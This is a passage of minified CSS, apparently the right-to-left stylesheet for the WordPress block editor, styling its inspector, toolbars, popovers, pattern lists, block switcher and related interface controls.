h2,.block-editor-block-inspector h3{color:#1e1e1e;font-size:13px;margin-bottom:1.5em}.block-editor-block-inspector .components-base-control:where(:not(:last-child)),.block-editor-block-inspector .components-radio-control:where(:not(:last-child)){margin-bottom:16px}.block-editor-block-inspector .components-focal-point-picker-control .components-base-control,.block-editor-block-inspector .components-query-controls .components-base-control,.block-editor-block-inspector .components-range-control .components-base-control{margin-bottom:0}.block-editor-block-inspector .components-panel__body{border:none;border-top:1px solid #e0e0e0;margin-top:-1px}.block-editor-block-inspector__no-block-tools,.block-editor-block-inspector__no-blocks{background:#fff;display:block;font-size:13px;padding:32px 16px;text-align:center}.block-editor-block-inspector__no-block-tools{border-top:1px solid #ddd}.block-editor-block-list__insertion-point{bottom:0;left:0;position:absolute;right:0;top:0}.block-editor-block-list__insertion-point-indicator{background:var(--wp-admin-theme-color);border-radius:2px;opacity:0;position:absolute;transform-origin:center;will-change:transform,opacity}.block-editor-block-list__insertion-point.is-vertical>.block-editor-block-list__insertion-point-indicator{height:4px;top:calc(50% - 2px);width:100%}.block-editor-block-list__insertion-point.is-horizontal>.block-editor-block-list__insertion-point-indicator{bottom:0;right:calc(50% - 2px);top:0;width:4px}.block-editor-block-list__insertion-point-inserter{display:none;justify-content:center;position:absolute;right:calc(50% - 12px);top:calc(50% - 12px);will-change:transform}@media (min-width:480px){.block-editor-block-list__insertion-point-inserter{display:flex}}.block-editor-block-list__block-side-inserter-popover .components-popover__content>div{pointer-events:none}.block-editor-block-list__block-side-inserter-popover .components-popover__content>div>*{pointer-events:all}.block-editor-block-list__empty-block-inserter.block-editor-block-list__empty-block-inserter{left:0;line-height:0;position:absolute;top:0}.block-editor-block-list__empty-block-inserter.block-editor-block-list__empty-block-inserter:disabled{display:none}.block-editor-block-list__empty-block-inserter .block-editor-inserter__toggle.components-button.has-icon,.block-editor-block-list__insertion-point-inserter .block-editor-inserter__toggle.components-button.has-icon{background:#1e1e1e;color:#fff;height:24px;min-width:24px;padding:0}.block-editor-block-list__empty-block-inserter .block-editor-inserter__toggle.components-button.has-icon:hover,.block-editor-block-list__insertion-point-inserter .block-editor-inserter__toggle.components-button.has-icon:hover{background:var(--wp-admin-theme-color);color:#fff}.block-editor-block-list__insertion-point-inserter .block-editor-inserter__toggle.components-button.has-icon{background:var(--wp-admin-theme-color)}.block-editor-block-list__insertion-point-inserter .block-editor-inserter__toggle.components-button.has-icon:hover{background:#1e1e1e}@keyframes hide-during-dragging{to{position:fixed;transform:translate(-9999px,9999px)}}.components-popover.block-editor-block-list__block-popover .block-editor-block-contextual-toolbar{border:1px solid #1e1e1e;border-radius:2px;margin-bottom:8px;margin-top:8px;overflow:visible;pointer-events:all;position:static;width:auto}.components-popover.block-editor-block-list__block-popover .block-editor-block-contextual-toolbar.has-parent{margin-right:56px}.show-icon-labels .components-popover.block-editor-block-list__block-popover .block-editor-block-contextual-toolbar.has-parent{margin-right:0}.components-popover.block-editor-block-list__block-popover .block-editor-block-toolbar{overflow:visible}.components-popover.block-editor-block-list__block-popover .block-editor-block-toolbar .components-toolbar,.components-popover.block-editor-block-list__block-popover .block-editor-block-toolbar .components-toolbar-group{border-left-color:#1e1e1e}.components-popover.block-editor-block-list__block-popover .is-inverted-toolbar{background-color:#1e1e1e;color:#f0f0f0}.components-popover.block-editor-block-list__block-popover .is-inverted-toolbar.block-editor-block-contextual-toolbar{border-color:#2f2f2f}.components-popover.block-editor-block-list__block-popover .is-inverted-toolbar button{color:#ddd}.components-popover.block-editor-block-list__block-popover .is-inverted-toolbar button:hover{color:#fff}.components-popover.block-editor-block-list__block-popover .is-inverted-toolbar button:focus:before{box-shadow:inset 0 0 0 1px #1e1e1e,0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.components-popover.block-editor-block-list__block-popover .is-inverted-toolbar button:disabled,.components-popover.block-editor-block-list__block-popover .is-inverted-toolbar button[aria-disabled=true]{color:#757575}.components-popover.block-editor-block-list__block-popover .is-inverted-toolbar .block-editor-block-parent-selector .block-editor-block-parent-selector__button{background-color:#1e1e1e;border-color:#2f2f2f}.components-popover.block-editor-block-list__block-popover .is-inverted-toolbar .block-editor-block-switcher__toggle{color:#f0f0f0}.components-popover.block-editor-block-list__block-popover .is-inverted-toolbar .components-toolbar,.components-popover.block-editor-block-list__block-popover .is-inverted-toolbar .components-toolbar-group{border-left-color:#2f2f2f!important}.components-popover.block-editor-block-list__block-popover .is-inverted-toolbar .is-pressed{color:var(--wp-admin-theme-color)}.components-popover.block-editor-block-list__block-popover.is-insertion-point-visible{visibility:hidden}.is-dragging-components-draggable .components-popover.block-editor-block-list__block-popover{opacity:0}@media not (prefers-reduced-motion){.is-dragging-components-draggable .components-popover.block-editor-block-list__block-popover{animation:hide-during-dragging 1ms linear forwards}}.components-popover.block-editor-block-list__block-popover .block-editor-block-parent-selector{position:absolute;right:-57px}.components-popover.block-editor-block-list__block-popover .block-editor-block-parent-selector:before{content:""}.components-popover.block-editor-block-list__block-popover .block-editor-block-parent-selector .block-editor-block-parent-selector__button{background-color:#fff;border:1px solid #1e1e1e;padding-left:6px;padding-right:6px}.show-icon-labels .components-popover.block-editor-block-list__block-popover .block-editor-block-parent-selector .block-editor-block-parent-selector__button{padding-left:12px;padding-right:12px}.show-icon-labels .components-popover.block-editor-block-list__block-popover .block-editor-block-parent-selector{margin-right:-1px;position:relative;right:auto}.show-icon-labels .components-popover.block-editor-block-list__block-popover .block-editor-block-mover__move-button-container,.show-icon-labels .components-popover.block-editor-block-list__block-popover .block-editor-block-toolbar__block-controls .block-editor-block-mover{border-right:1px solid #1e1e1e}.is-dragging-components-draggable .components-tooltip{display:none}.components-popover.block-editor-block-popover__inbetween .block-editor-button-pattern-inserter__button{pointer-events:all;position:absolute;right:50%;top:50%;transform:translateX(50%) translateY(-50%)}.block-editor-block-lock-modal{z-index:1000001}@media (min-width:600px){.block-editor-block-lock-modal .components-modal__frame{max-width:480px}}.block-editor-block-lock-modal__options legend{margin-bottom:16px;padding:0}.block-editor-block-lock-modal__checklist{margin:0}.block-editor-block-lock-modal__options-all{padding:12px 0}.block-editor-block-lock-modal__options-all .components-checkbox-control__label{font-weight:600}.block-editor-block-lock-modal__checklist-item{align-items:center;display:flex;gap:12px;justify-content:space-between;margin-bottom:0;padding:12px 32px 12px 0}.block-editor-block-lock-modal__checklist-item .block-editor-block-lock-modal__lock-icon{flex-shrink:0;margin-left:12px;fill:#1e1e1e}.block-editor-block-lock-modal__checklist-item:hover{background-color:#f0f0f0;border-radius:2px}.block-editor-block-lock-modal__template-lock{border-top:1px solid #ddd;margin-top:16px;padding-top:16px}.block-editor-block-lock-modal__actions{margin-top:24px}.block-editor-block-lock-toolbar .components-button.has-icon{min-width:36px!important}.block-editor-block-toolbar__block-controls .block-editor-block-lock-toolbar{margin-right:-6px!important}.show-icon-labels .block-editor-block-toolbar__block-controls .block-editor-block-lock-toolbar{border-right:1px solid #1e1e1e;margin-left:-6px;margin-right:6px!important}.block-editor-block-breadcrumb{list-style:none;margin:0;padding:0}.block-editor-block-breadcrumb li{display:inline-flex;margin:0}.block-editor-block-breadcrumb li .block-editor-block-breadcrumb__separator{fill:currentColor;margin-left:-4px;margin-right:-4px;transform:scaleX(-1)}.block-editor-block-breadcrumb li:last-child .block-editor-block-breadcrumb__separator{display:none}.block-editor-block-breadcrumb__current{cursor:default}.block-editor-block-breadcrumb__button.block-editor-block-breadcrumb__button,.block-editor-block-breadcrumb__current{color:#1e1e1e;font-size:inherit;padding:0 8px}.block-editor-block-card{align-items:flex-start;color:#1e1e1e;display:flex;padding:16px}.block-editor-block-card__title{align-items:center;display:flex;flex-wrap:wrap;font-weight:500;gap:4px 8px}.block-editor-block-card__title.block-editor-block-card__title{font-size:13px;line-height:1.4;margin:0}.block-editor-block-card__name{padding:3px 0}.block-editor-block-card .block-editor-block-icon{flex:0 0 24px;height:24px;margin-left:12px;margin-right:0;width:24px}.block-editor-block-card.is-synced .block-editor-block-icon{color:var(--wp-block-synced-color)}.block-editor-block-compare{height:auto}.block-editor-block-compare__wrapper{display:flex;padding-bottom:16px}.block-editor-block-compare__wrapper>div{display:flex;flex-direction:column;justify-content:space-between;max-width:600px;min-width:200px;padding:0 0 0 16px;width:50%}.block-editor-block-compare__wrapper>div button{float:left}.block-editor-block-compare__wrapper .block-editor-block-compare__converted{border-right:1px solid #ddd;padding-left:0;padding-right:15px}.block-editor-block-compare__wrapper .block-editor-block-compare__html{border-bottom:1px solid #ddd;color:#1e1e1e;font-family:Menlo,Consolas,monaco,monospace;font-size:12px;line-height:1.7;padding-bottom:15px}.block-editor-block-compare__wrapper .block-editor-block-compare__html span{background-color:#e6ffed;padding-bottom:3px;padding-top:3px}.block-editor-block-compare__wrapper .block-editor-block-compare__html span.block-editor-block-compare__added{background-color:#acf2bd}.block-editor-block-compare__wrapper .block-editor-block-compare__html span.block-editor-block-compare__removed{background-color:#cc1818}.block-editor-block-compare__wrapper .block-editor-block-compare__preview{padding:16px 0 0}.block-editor-block-compare__wrapper .block-editor-block-compare__preview p{font-size:12px;margin-top:0}.block-editor-block-compare__wrapper .block-editor-block-compare__action{margin-top:16px}.block-editor-block-compare__wrapper .block-editor-block-compare__heading{font-size:1em;font-weight:400;margin:.67em 0}.block-editor-block-draggable-chip-wrapper{position:absolute;right:0;top:-24px}.block-editor-block-draggable-chip{background-color:#1e1e1e;border-radius:2px;box-shadow:0 1px 2px #0000000d,0 2px 3px #0000000a,0 6px 6px #00000008,0 8px 8px #00000005;color:#fff;cursor:grabbing;display:inline-flex;height:48px;padding:0 13px;position:relative;-webkit-user-select:none;user-select:none;width:max-content}.block-editor-block-draggable-chip svg{fill:currentColor}.block-editor-block-draggable-chip .block-editor-block-draggable-chip__content{justify-content:flex-start;margin:auto}.block-editor-block-draggable-chip .block-editor-block-draggable-chip__content>.components-flex__item{margin-left:6px}.block-editor-block-draggable-chip .block-editor-block-draggable-chip__content>.components-flex__item:last-child{margin-left:0}.block-editor-block-draggable-chip .block-editor-block-draggable-chip__content .block-editor-block-icon svg{min-height:18px;min-width:18px}.block-editor-block-draggable-chip .components-flex__item{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px}.block-editor-block-draggable-chip__disabled.block-editor-block-draggable-chip__disabled{align-items:center;background-color:initial;bottom:0;display:flex;justify-content:center;left:0;opacity:0;position:absolute;right:0;top:0}@media not (prefers-reduced-motion){.block-editor-block-draggable-chip__disabled.block-editor-block-draggable-chip__disabled{transition:all .1s linear .1s}}.block-editor-block-draggable-chip__disabled.block-editor-block-draggable-chip__disabled .block-editor-block-draggable-chip__disabled-icon{background:#0000 linear-gradient(45deg,#0000 47.5%,#fff 0,#fff 52.5%,#0000 0);border-radius:50%;box-shadow:inset 0 0 0 1.5px #fff;display:inline-block;height:20px;padding:0;width:20px}.block-draggable-invalid-drag-token .block-editor-block-draggable-chip__disabled.block-editor-block-draggable-chip__disabled{background-color:#757575;box-shadow:0 1px 2px #0000000d,0 2px 3px #0000000a,0 6px 6px #00000008,0 8px 8px #00000005;opacity:1}.block-editor-block-manager__no-results{font-style:italic;padding:24px 0;text-align:center}.block-editor-block-manager__search{margin:16px 0}.block-editor-block-manager__disabled-blocks-count{background-color:#fff;border:1px solid #ddd;border-width:1px 0;box-shadow:32px 0 0 0 #fff,-32px 0 0 0 #fff;padding:8px;position:sticky;text-align:center;top:-5px;z-index:2}.block-editor-block-manager__disabled-blocks-count~.block-editor-block-manager__results .block-editor-block-manager__category-title{top:31px}.block-editor-block-manager__disabled-blocks-count .is-link{margin-right:12px}.block-editor-block-manager__category{margin:0 0 24px}.block-editor-block-manager__category-title{background-color:#fff;padding:16px 0;position:sticky;top:-4px;z-index:1}.block-editor-block-manager__category-title .components-checkbox-control__label{font-weight:600}.block-editor-block-manager__checklist{margin-top:0}.block-editor-block-manager__category-title,.block-editor-block-manager__checklist-item{border-bottom:1px solid #ddd}.block-editor-block-manager__checklist-item{align-items:center;display:flex;justify-content:space-between;margin-bottom:0;padding:8px 16px 8px 0}.components-modal__content .block-editor-block-manager__checklist-item.components-checkbox-control__input-container{margin:0 8px}.block-editor-block-manager__checklist-item .block-editor-block-icon{margin-left:10px;fill:#1e1e1e}.block-editor-block-manager__results{border-top:1px solid #ddd}.block-editor-block-manager__disabled-blocks-count+.block-editor-block-manager__results{border-top-width:0}.block-editor-block-mover__move-button-container{border:none;display:flex;justify-content:center;padding:0}@media (min-width:600px){.block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container{flex-direction:column}.block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container>*{height:20px;min-width:0!important;width:100%}.block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container>:before{height:calc(100% - 4px)}.block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container .block-editor-block-mover-button.is-up-button svg{flex-shrink:0;top:3px}.block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container .block-editor-block-mover-button.is-down-button svg{bottom:3px;flex-shrink:0}.block-editor-block-mover.is-horizontal .block-editor-block-mover__move-button-container{width:48px}.block-editor-block-mover.is-horizontal .block-editor-block-mover__move-button-container>*{min-width:0!important;overflow:hidden;width:24px}.block-editor-block-mover.is-horizontal .block-editor-block-mover__move-button-container .block-editor-block-mover-button{padding-left:0;padding-right:0}.block-editor-block-mover.is-horizontal .block-editor-block-mover__move-button-container .block-editor-block-mover-button.is-up-button svg{right:5px}.block-editor-block-mover.is-horizontal .block-editor-block-mover__move-button-container .block-editor-block-mover-button.is-down-button svg{left:5px}}.block-editor-block-mover__drag-handle{cursor:grab}@media (min-width:600px){.block-editor-block-mover__drag-handle{min-width:0!important;overflow:hidden;width:24px}.block-editor-block-mover .block-editor-block-mover__drag-handle.has-icon.has-icon{padding-left:0;padding-right:0}}.components-button.block-editor-block-mover-button{overflow:hidden}.components-button.block-editor-block-mover-button:before{border-radius:2px;content:"";display:block;height:32px;left:8px;position:absolute;right:8px;z-index:-1}@media not (prefers-reduced-motion){.components-button.block-editor-block-mover-button:before{animation:components-button__appear-animation .1s ease;animation-fill-mode:forwards}}.components-button.block-editor-block-mover-button:focus,.components-button.block-editor-block-mover-button:focus:before,.components-button.block-editor-block-mover-button:focus:enabled{box-shadow:none;outline:none}.components-button.block-editor-block-mover-button:focus-visible:before{box-shadow:inset 0 0 0 1px #fff,0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px solid #0000}.block-editor-block-navigation__container{min-width:280px}.block-editor-block-navigation__label{color:#757575;font-size:11px;font-weight:500;margin:0 0 12px;text-transform:uppercase}.block-editor-block-patterns-list__list-item{cursor:pointer;margin-bottom:16px;position:relative}.block-editor-block-patterns-list__list-item.is-placeholder{min-height:100px}.block-editor-block-patterns-list__list-item[draggable=true]{cursor:grab}.block-editor-block-patterns-list__item{height:100%;outline:0;scroll-margin-bottom:56px;scroll-margin-top:24px}.block-editor-block-patterns-list__item .block-editor-block-patterns-list__item-title{flex-grow:1;font-size:12px;text-align:right}.block-editor-block-patterns-list__item .block-editor-block-preview__container{align-items:center;border-radius:4px;display:flex;overflow:hidden}.block-editor-block-patterns-list__item .block-editor-block-preview__container:after{border-radius:4px;outline:1px solid #0000001a;outline-offset:-1px}@media not (prefers-reduced-motion){.block-editor-block-patterns-list__item .block-editor-block-preview__container:after{transition:outline .1s linear}}.block-editor-block-patterns-list__item.is-selected .block-editor-block-preview__container:after{outline-color:#1e1e1e;outline-offset:calc(var(--wp-admin-border-width-focus)*-1);outline-width:var(--wp-admin-border-width-focus)}.block-editor-block-patterns-list__item:hover .block-editor-block-preview__container:after{outline-color:#0000004d}.block-editor-block-patterns-list__item[data-focus-visible] .block-editor-block-preview__container:after{outline-color:var(--wp-admin-theme-color);outline-offset:calc(var(--wp-admin-border-width-focus)*-1);outline-width:var(--wp-admin-border-width-focus)}.block-editor-block-patterns-list__item .block-editor-patterns__pattern-details:not(:empty){align-items:center;margin-top:8px;padding-bottom:4px}.block-editor-block-patterns-list__item .block-editor-patterns__pattern-icon-wrapper{height:24px;min-width:24px}.block-editor-block-patterns-list__item .block-editor-patterns__pattern-icon-wrapper .block-editor-patterns__pattern-icon{fill:var(--wp-block-synced-color)}.block-editor-patterns__grid-pagination-wrapper .block-editor-patterns__grid-pagination{border-top:1px solid #2f2f2f;justify-content:center;padding:4px}.show-icon-labels .block-editor-patterns__grid-pagination-button{width:auto}.show-icon-labels .block-editor-patterns__grid-pagination-button span{display:none}.show-icon-labels .block-editor-patterns__grid-pagination-button:before{content:attr(aria-label)}.components-popover.block-editor-block-popover{margin:0!important;pointer-events:none;position:absolute;z-index:31}.components-popover.block-editor-block-popover .components-popover__content{margin:0!important;min-width:auto;overflow-y:visible;width:max-content}.components-popover.block-editor-block-popover:not(.block-editor-block-popover__inbetween,.block-editor-block-popover__drop-zone,.block-editor-block-list__block-side-inserter-popover) .components-popover__content *{pointer-events:all}.components-popover.block-editor-block-popover__inbetween,.components-popover.block-editor-block-popover__inbetween *{pointer-events:none}.components-popover.block-editor-block-popover__inbetween .is-with-inserter,.components-popover.block-editor-block-popover__inbetween .is-with-inserter *{pointer-events:all}.components-popover.block-editor-block-popover__drop-zone *{pointer-events:none}.components-popover.block-editor-block-popover__drop-zone .block-editor-block-popover__drop-zone-foreground{background-color:var(--wp-admin-theme-color);border-radius:2px;inset:0;position:absolute}.block-editor-block-preview__container{overflow:hidden;position:relative;width:100%}.block-editor-block-preview__container .block-editor-block-preview__content{margin:0;min-height:auto;overflow:visible;right:0;text-align:initial;top:0;transform-origin:top right;width:100%}.block-editor-block-preview__container .block-editor-block-preview__content .block-editor-block-list__insertion-point,.block-editor-block-preview__container .block-editor-block-preview__content .block-list-appender{display:none}.block-editor-block-preview__container:after{bottom:0;content:"";left:0;position:absolute;right:0;top:0;z-index:1}.block-editor-block-rename-modal{z-index:1000001}.block-editor-block-styles__preview-panel{display:none;z-index:90}@media (min-width:782px){.block-editor-block-styles__preview-panel{display:block}}.block-editor-block-styles__preview-panel .block-editor-block-icon{display:none}.block-editor-block-styles__variants{display:flex;flex-wrap:wrap;gap:8px;justify-content:space-between}.block-editor-block-styles__variants button.components-button.block-editor-block-styles__item{box-shadow:inset 0 0 0 1px #ddd;color:#1e1e1e;display:inline-block;width:calc(50% - 4px)}.block-editor-block-styles__variants button.components-button.block-editor-block-styles__item:hover{box-shadow:inset 0 0 0 1px #ddd;color:var(--wp-admin-theme-color)}.block-editor-block-styles__variants button.components-button.block-editor-block-styles__item.is-active,.block-editor-block-styles__variants button.components-button.block-editor-block-styles__item.is-active:hover{background-color:#1e1e1e;box-shadow:none}.block-editor-block-styles__variants button.components-button.block-editor-block-styles__item.is-active .block-editor-block-styles__item-text,.block-editor-block-styles__variants button.components-button.block-editor-block-styles__item.is-active:hover .block-editor-block-styles__item-text{color:#fff}.block-editor-block-styles__variants button.components-button.block-editor-block-styles__item.is-active:focus,.block-editor-block-styles__variants button.components-button.block-editor-block-styles__item:focus{box-shadow:inset 0 0 0 1px #fff,0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px solid #0000}.block-editor-block-styles__variants .block-editor-block-styles__item-text{text-align:start;text-align-last:center;white-space:normal;word-break:break-all}.block-editor-block-styles__block-preview-container,.block-editor-block-styles__block-preview-container *{box-sizing:border-box!important}.block-editor-block-switcher{position:relative}.block-editor-block-switcher .components-button.components-dropdown-menu__toggle.has-icon.has-icon{min-width:36px}.block-editor-block-switcher__no-switcher-icon,.block-editor-block-switcher__toggle{position:relative}.components-button.block-editor-block-switcher__no-switcher-icon,.components-button.block-editor-block-switcher__toggle{display:block;height:48px;margin:0}.components-button.block-editor-block-switcher__no-switcher-icon .block-editor-block-icon,.components-button.block-editor-block-switcher__toggle .block-editor-block-icon{margin:auto}.components-button.block-editor-block-switcher__no-switcher-icon{display:flex}.components-button.block-editor-block-switcher__no-switcher-icon .block-editor-block-icon{margin-left:auto;margin-right:auto;min-width:24px!important}.components-button.block-editor-block-switcher__no-switcher-icon[aria-disabled=true],.components-button.block-editor-block-switcher__no-switcher-icon[aria-disabled=true]:hover{color:#1e1e1e}.components-popover.block-editor-block-switcher__popover .components-popover__content{min-width:300px}.block-editor-block-switcher__popover-preview-container{bottom:0;pointer-events:none;position:absolute;right:0;top:-1px;width:100%}.block-editor-block-switcher__popover-preview{overflow:hidden}.block-editor-block-switcher__popover-preview .components-popover__content{background:#fff;border:1px solid #1e1e1e;border-radius:4px;box-shadow:none;outline:none;overflow:auto;width:300px}.block-editor-block-switcher__popover-preview .block-editor-block-switcher__preview{margin:16px 0;max-height:468px;overflow:hidden;padding:0 16px}.block-editor-block-switcher__popover-preview .block-editor-block-switcher__preview.is-pattern-list-preview{overflow:unset}.block-editor-block-switcher__preview-title{color:#757575;font-size:11px;font-weight:500;margin-bottom:12px;text-transform:uppercase}.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__no-switcher-icon{min-width:36px}.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__no-switcher-icon,.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__toggle{height:48px}.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__no-switcher-icon .block-editor-block-icon,.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__no-switcher-icon .block-editor-block-switcher__transform,.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__toggle .block-editor-block-icon,.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__toggle .block-editor-block-switcher__transform{height:48px;width:48px}.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__no-switcher-icon .block-editor-block-switcher__transform,.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__toggle .block-editor-block-switcher__transform{padding:12px}.block-editor-block-switcher__preview-patterns-container{padding-bottom:16px}.block-editor-block-switcher__preview-patterns-container .block-editor-block-switcher__preview-patterns-container-list__list-item{margin-top:16px}.block-editor-block-switcher__preview-patterns-container .block-editor-block-switcher__preview-patterns-container-list__list-item .block-editor-block-preview__container{cursor:pointer}.block-editor-block-switcher__preview-patterns-container .block-editor-block-switcher__preview-patterns-container-list__list-item .block-editor-block-switcher__preview-patterns-container-list__item{border:1px solid #0000;border-radius:2px;height:100%;position:relative}@media not (prefers-reduced-motion){.block-editor-block-switcher__preview-patterns-container .block-editor-block-switcher__preview-patterns-container-list__list-item .block-editor-block-switcher__preview-patterns-container-list__item{transition:all .05s ease-in-out}}.block-editor-block-switcher__preview-patterns-container .block-editor-block-switcher__preview-patterns-container-list__list-item .block-editor-block-switcher__preview-patterns-container-list__item:focus,.block-editor-block-switcher__preview-patterns-container .block-editor-block-switcher__preview-patterns-container-list__list-item .block-editor-block-switcher__preview-patterns-container-list__item:hover{box-shadow:inset 0 0 0 1px #fff,0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px solid #0000}.block-editor-block-switcher__preview-patterns-container .block-editor-block-switcher__preview-patterns-container-list__list-item .block-editor-block-switcher__preview-patterns-container-list__item:hover{box-shadow:inset 0 0 0 1px #fff,0 0 0 var(--wp-admin-border-width-focus) #1e1e1e}.block-editor-block-switcher__preview-patterns-container .block-editor-block-switcher__preview-patterns-container-list__list-item .block-editor-block-switcher__preview-patterns-container-list__item .block-editor-block-switcher__preview-patterns-container-list__item-title{cursor:pointer;font-size:12px;padding:4px;text-align:center}.block-editor-block-switcher__no-transforms{color:#757575;margin:0;padding:6px 8px}.block-editor-block-switcher__binding-indicator{display:block;padding:8px}.block-editor-block-types-list>[role=presentation]{display:flex;flex-wrap:wrap;overflow:hidden}.block-editor-block-pattern-setup{align-items:flex-start;border-radius:2px;display:flex;flex-direction:column;justify-content:center;width:100%}.block-editor-block-pattern-setup.view-mode-grid{padding-top:4px}.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__toolbar{justify-content:center}.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container{column-count:2;column-gap:24px;display:block;padding:0 32px;width:100%}@media (min-width:1440px){.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container{column-count:3}}.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-preview__container,.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container div[role=button]{cursor:pointer}.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-pattern-setup-list__item{scroll-margin:5px 0}.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-pattern-setup-list__item:hover .block-editor-block-preview__container{box-shadow:0 0 0 2px var(--wp-admin-theme-color)}.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-pattern-setup-list__item:focus .block-editor-block-preview__container{box-shadow:0 0 0 var(--wp-admin-border-width-focus) #fff,0 0 0 calc(var(--wp-admin-border-width-focus)*2) var(--wp-admin-theme-color);outline:2px solid #0000;outline-offset:2px}.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-pattern-setup-list__item:focus .block-editor-block-pattern-setup-list__item-title,.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-pattern-setup-list__item:hover .block-editor-block-pattern-setup-list__item-title{color:var(--wp-admin-theme-color)}.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-pattern-setup-list__list-item{break-inside:avoid-column;margin-bottom:24px}.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-pattern-setup-list__list-item .block-editor-block-pattern-setup-list__item-title{cursor:pointer;font-size:12px;padding-top:8px;text-align:center}.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-pattern-setup-list__list-item .block-editor-block-preview__container{border:1px solid #ddd;border-radius:4px;min-height:100px}.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-pattern-setup-list__list-item .block-editor-block-preview__content{width:100%}.block-editor-block-pattern-setup .block-editor-block-pattern-setup__toolbar{align-items:center;align-self:stretch;background-color:#fff;border-top:1px solid #ddd;bottom:0;box-sizing:border-box;color:#1e1e1e;display:flex;flex-direction:row;height:60px;justify-content:space-between;margin:0;padding:16px;position:absolute;text-align:right;width:100%}.block-editor-block-pattern-setup .block-editor-block-pattern-setup__toolbar .block-editor-block-pattern-setup__display-controls{display:flex}.block-editor-block-pattern-setup .block-editor-block-pattern-setup__toolbar .block-editor-block-pattern-setup__actions,.block-editor-block-pattern-setup .block-editor-block-pattern-setup__toolbar .block-editor-block-pattern-setup__navigation{display:flex;width:calc(50% - 36px)}.block-editor-block-pattern-setup .block-editor-block-pattern-setup__toolbar .block-editor-block-pattern-setup__actions{justify-content:flex-end}.block-editor-block-pattern-setup .block-editor-block-pattern-setup__container{box-sizing:border-box;display:flex;flex-direction:column;height:100%;width:100%}.block-editor-block-pattern-setup .block-editor-block-pattern-setup__container .carousel-container{height:100%;list-style:none;margin:0;overflow:hidden;padding:0;position:relative;transform-style:preserve-3d}.block-editor-block-pattern-setup .block-editor-block-pattern-setup__container .carousel-container *{box-sizing:border-box}.block-editor-block-pattern-setup .block-editor-block-pattern-setup__container .carousel-container .pattern-slide{background-color:#fff;height:100%;margin:auto;padding:0;position:absolute;top:0;width:100%;z-index:100}@media not (prefers-reduced-motion){.block-editor-block-pattern-setup .block-editor-block-pattern-setup__container .carousel-container .pattern-slide{transition:transform .5s,z-index .5s}}.block-editor-block-pattern-setup .block-editor-block-pattern-setup__container .carousel-container .pattern-slide.active-slide{opacity:1;position:relative;z-index:102}.block-editor-block-pattern-setup .block-editor-block-pattern-setup__container .carousel-container .pattern-slide.previous-slide{transform:translateX(100%);z-index:101}.block-editor-block-pattern-setup .block-editor-block-pattern-setup__container .carousel-container .pattern-slide.next-slide{transform:translateX(-100%);z-index:101}.block-editor-block-pattern-setup .block-editor-block-pattern-setup__container .block-list-appender{display:none}.block-editor-block-pattern-setup__carousel,.block-editor-block-pattern-setup__grid{width:100%}.block-editor-block-variation-transforms{padding:0 52px 16px 16px;width:100%}.block-editor-block-variation-transforms .components-dropdown-menu__toggle{border:1px solid #757575;border-radius:2px;justify-content:right;min-height:30px;padding:6px 12px;position:relative;text-align:right;width:100%}.block-editor-block-variation-transforms .components-dropdown-menu__toggle.components-dropdown-menu__toggle{padding-left:24px}.block-editor-block-variation-transforms .components-dropdown-menu__toggle:focus:not(:disabled){border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 calc(var(--wp-admin-border-width-focus) - 1px) var(--wp-admin-theme-color)}.block-editor-block-variation-transforms .components-dropdown-menu__toggle svg{height:100%;left:0;padding:0;position:absolute;top:0}.block-editor-block-variation-transforms__popover .components-popover__content{min-width:230px}.components-border-radius-control{margin-bottom:12px}.components-border-radius-control legend{margin-bottom:8px}.components-border-radius-control .components-border-radius-control__wrapper{align-items:flex-start;display:flex;justify-content:space-between}.components-border-radius-control .components-border-radius-control__wrapper .components-border-radius-control__unit-control{flex-shrink:0;margin-bottom:0;margin-left:16px;width:calc(50% - 8px)}.components-border-radius-control .components-border-radius-control__wrapper .components-border-radius-control__range-control{flex:1;margin-left:12px}.components-border-radius-control .components-border-radius-control__input-controls-wrapper{display:grid;gap:16px;grid-template-columns:repeat(2,minmax(0,1fr));margin-left:12px}.components-border-radius-control .component-border-radius-control__linked-button{display:flex;justify-content:center;margin-top:8px}.components-border-radius-control .component-border-radius-control__linked-button svg{margin-left:0}.block-editor-color-gradient-control 